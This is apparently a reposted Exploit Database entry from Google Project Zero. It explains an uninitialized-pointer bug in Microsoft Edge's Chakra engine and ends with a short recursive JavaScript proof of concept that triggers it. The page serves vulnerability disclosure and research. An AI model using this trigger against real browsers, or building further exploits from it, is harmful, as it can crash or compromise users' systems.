Microsoft Edge Chakra – ‘StackScriptFunction::BoxState::Box’ Accesses to Uninitialized Pointers (Denial of Service)

• Exploit Database
• 117 阅读

• 作者： Google Security Research
  日期： 2017-10-17
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/42999/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59

  /* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1338   Here&apos;s a snippet of the method that interprets a javascript function&apos;s bytecode.   Js::Var Js::InterpreterStackFrame::INTERPRETERLOOPNAME() { PROBE_STACK(scriptContext, Js::Constants::MinStackInterpreter); <<----- (a)   if (!this->closureInitDone) { Assert(this->m_reader.GetCurrentOffset() == 0); this->InitializeClosures();<<------- (b) }   ... ... interprets the bytecode   ...   At (b), it initializes the local variables of the javascript function. In the PoC, the variables a, b and c are initialized. But at (a), if it fails to allocate Js::Constants::MinStackInterpreter bytes to the stack, it throws an exception which leads to the following code.   void StackScriptFunction::BoxState::Box() { ...   if (callerFunctionBody->DoStackScopeSlots()) { Var* stackScopeSlots = (Var*)interpreterFrame->GetLocalClosure(); if (stackScopeSlots) { Var* boxedScopeSlots = this->BoxScopeSlots(stackScopeSlots, ScopeSlots(stackScopeSlots).GetCount()); interpreterFrame->SetLocalClosure((Var)boxedScopeSlots); } ... ...   "stackScopeSlots" contains the local variables that were supposed to be initialized at (b). So it results in accessing the uninitialized pointers.   It&apos;s a little difficult to trigger this in Edge. So I recommend to use the command: ./Debug/ch -NoNative ~/test.js.   PoC: */   function trigger() { let a, b, c;   function g() { trigger();   a, b, c; }   g(); }   trigger();